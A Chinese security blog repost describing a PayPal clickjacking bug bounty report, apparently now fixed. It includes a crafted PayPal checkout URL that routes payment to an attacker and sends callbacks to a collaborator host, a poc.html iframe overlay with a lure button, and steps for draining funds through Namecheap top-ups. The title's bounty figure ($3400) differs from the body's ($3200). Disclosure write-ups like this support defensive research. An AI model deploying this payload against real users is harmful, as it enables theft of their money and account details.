【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

admin
admin
admin
102795
文章
87
评论
2023年8月17日17:36:46评论25 views字数 2812阅读9分22秒阅读模式

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。


文章首发于个人博客：https://mybeibei.net，点击最下方“阅读原文”可直接跳转查看。


如果告诉你：黑客只需你的一次点击即可从你的 PayPal 余额中窃取资金，是不是很有趣？本故事将向你展示白帽黑客如何在 PayPal 上发现极具影响力的漏洞:)。

概述

2021年11月，国外白帽向 PayPal 漏洞赏金计划报告了一个安全问题，攻击者可以利用点击劫持，从而窃取用户资金。

点击劫持，也被称为“UI 修正攻击”，是指攻击者使用多个透明或不透明层来诱骗用户在打算点击顶层页面时却真正点击了另一个页面上的按钮或链接，因此，攻击者“劫持”针对其页面的点击，并将用户成功引导至另一个页面，即可实现此类攻击。

具体可参考：https://owasp.org/www-community/attacks/Clickjacking

一个老BUG：https://www.paypal.com/agreements/approve 上的点击劫持在几年前就已被关闭为 N/A，并且没有人能够成功利用它。

该端点是为计费协议设计的，它应该只接受 billingAgreementToken ，但在白帽黑客的深入测试中，发现可以传递另一种代币类型，这将导致从受害者的 PayPal 帐户中窃取资金。

攻击者能够在 Iframe 中加载敏感的 paypal.com 端点，当攻击者点击“near to click here”时，就会购买一些东西。

当然，受害者首先要在浏览器中登录：

PoC：

"https://www.paypal.com/cgi-bin/webscr?address1=sectesting&address2=sectesting02&address_override=true&amount_1=1&business=<[email protected]>&cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&city=barika&cmd=_cart&country=DZ&currency_code=USD&email=<anything>@gmail.com&first_name=attacker&invoice=marketplace133703&item_name_1=attacker&item_number_1=133788802&last_name=attacker&notify_url=https://xxxxxx.burpcollaborator.net/notify_url&quantity_1=1&return=https://xxxxxx.burpcollaborator.net/return&state=05&upload=1&zip=1337"
generic
544 Bytes
© Guge's Blog

  1. 通过上面链接，将 business 更改为攻击者 Paypal 电子邮件，将 return 和 notify_url 更改为攻击者的主机以接收 HTTP 请求，以及 amount_1 为从受害者的帐户中窃取的具体金额！

并且还可以将名字/姓氏和地址更改为攻击者的信息，当攻击者执行该操作时，帐单中的全名/地址将在受害者帐户中注册！

  1. 现在使用 CURL 发送 GET 请求，并 grep Token值。
    【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

上传poc.html到远程主机，并将你的token放入ba_token参数中。

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
   <center> <img src="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg"></center> 
<style>
iframe { 
  width: 1920px;
  height: 1080px;
  position: absolute;
  top:0; left:-20px;
  opacity: 1.01;
  z-index: 1;
}
</style>
<iframe src="https://www.paypal.com/agreements/approve?nolegacy=1&ba_token=<TOKEN>"></iframe>
<button style="position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;">Click here  to win 1337$ => </button>
</body>
</html>
generic
531 Bytes
© Guge's Blog

注：真正的攻击中 opacity 应为0

现在在浏览器中登录你的 PayPal，然后打开 HTML 页面。

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

正如所看到的，虽然没有 CSS 的美化 ，但这个 POC 也基本足够了。

当受害者一旦点击了它，就会将钱汇到攻击者的PayPal账户，同时，攻击者的地址也将被设置为默认账单地址。

在 Burp Collaborator 中，当受害者点击时，也可以看到受害者帐户的完整信息：

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

下图为攻击者注入的帐单地址被设置为受害者 PayPal 帐户上的默认帐单地址：

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

第2部分

有一些在线服务可以让你使用 Paypal 添加余额到你的帐户，例如 steam！同样可以使用该漏洞强迫用户向攻击者的帐户添加资金！

又或者可以利用该漏洞，让受害者为攻击者创建/支付 Netflix 帐户！

下面的例子中使用了 namecheap.com

具体操作：

  1. 打开 https://ap.www.namecheap.com/Profile/Billing

2.点击充值

3.选择想从受害者账户窃取多少美元

4.点击 PayPal 结账

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

5.复制Token并将其添加到 poc.html

6.打开 HTML 页面
【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

7.现在，当受害者点击“click here”时，他将使用与其 Paypal 账户关联的付款方式进行付款

已授权 Namecheap 会从受害者的 Paypal 帐户中提取一定的余额，然后转入攻击者的 Namecheap 帐户

8.当攻击者打开 https://ap.www.namecheap.com/profile/billing/topup/paypal/submit?&token= 时，攻击者将能够将钱添加到他的 Namecheap 帐户中

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

对于诱导点击漏洞，HackerOne 只是做了分类响应：

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

直到2022年6月17日，PayPal Bug Bounty 团队最终决定接受该报告并解决了此漏洞，同时发放 3200 美元的赏金奖励：

【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

感谢阅读，如果觉得还不错的话，欢迎分享给更多喜爱的朋友～

====正文结束====

原文始发于微信公众号（骨哥说事）：【$3400】PayPal 1Click，攻击者轻松窃取用户余额！

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月17日17:36:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   【$3400】PayPal 1Click，攻击者轻松窃取用户余额！https://cn-sec.com/archives/1963145.html

发表评论

匿名网友 填写信息